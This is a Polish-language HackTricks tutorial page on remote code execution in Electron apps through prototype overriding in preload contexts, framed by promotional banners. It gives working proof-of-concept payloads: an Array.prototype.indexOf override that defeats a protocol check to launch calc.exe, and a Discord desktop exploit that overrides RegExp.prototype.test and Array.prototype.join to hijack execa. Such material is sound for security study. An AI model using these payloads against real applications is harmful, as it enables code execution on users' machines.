6 KiB
Electron contextIsolation RCE za pomocą kodu preload
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Przykład 1
Ten kod otwiera linki http(s) w domyślnej przeglądarce:
Coś takiego jak file:///C:/Windows/systemd32/calc.exe
można użyć do uruchomienia kalkulatora, ale SAFE_PROTOCOLS.indexOf
temu zapobiega.
Dlatego atakujący mógłby wstrzyknąć ten kod JS za pomocą XSS lub dowolnej nawigacji strony:
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
Jako że wywołanie SAFE_PROTOCOLS.indexOf
zawsze zwróci 1337, atakujący może ominąć zabezpieczenie i uruchomić kalkulator. Ostateczny exploit:
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Sprawdź oryginalne slajdy, aby poznać inne sposoby uruchamiania programów bez konieczności pytania o uprawnienia.
Wygląda na to, że kolejnym sposobem na załadowanie i wykonanie kodu jest dostęp do czegoś takiego jak file://127.0.0.1/electron/rce.jar
Przykład 2: RCE w aplikacji Discord
Przykład z https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Podczas sprawdzania skryptów preload, odkryłem, że Discord udostępnia funkcję, która pozwala na wywoływanie niektórych dozwolonych modułów za pomocą DiscordNative.nativeModules.requireModule('NAZWA-MODUŁU')
na stronie internetowej.
Tutaj nie mogłem użyć modułów, które można bezpośrednio wykorzystać do RCE, takich jak moduł child_process, ale znalazłem kod, w którym można osiągnąć RCE, nadpisując wbudowane metody JavaScript i ingerując w wykonanie udostępnionego modułu.
Poniżej znajduje się PoC. Potwierdziłem, że aplikacja calc jest uruchamiana, gdy wywołuję funkcję getGPUDriverVersions
, która jest zdefiniowana w module o nazwie "discord_utils", z narzędzi deweloperskich, jednocześnie nadpisując RegExp.prototype.test
i Array.prototype.join
.
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
Funkcja getGPUDriverVersions
próbuje uruchomić program przy użyciu biblioteki "execa", w następujący sposób:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
Zazwyczaj execa próbuje wykonać "nvidia-smi.exe", który jest określony w zmiennej nvidiaSmiPath
, jednakże ze względu na nadpisanie RegExp.prototype.test
i Array.prototype.join
, argument zostaje zastąpiony przez "calc" wewnętrznym przetwarzaniem _execa**_**.
Konkretnie, argument jest zastępowany poprzez zmianę dwóch następujących części.
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCYJNY!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi trikami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.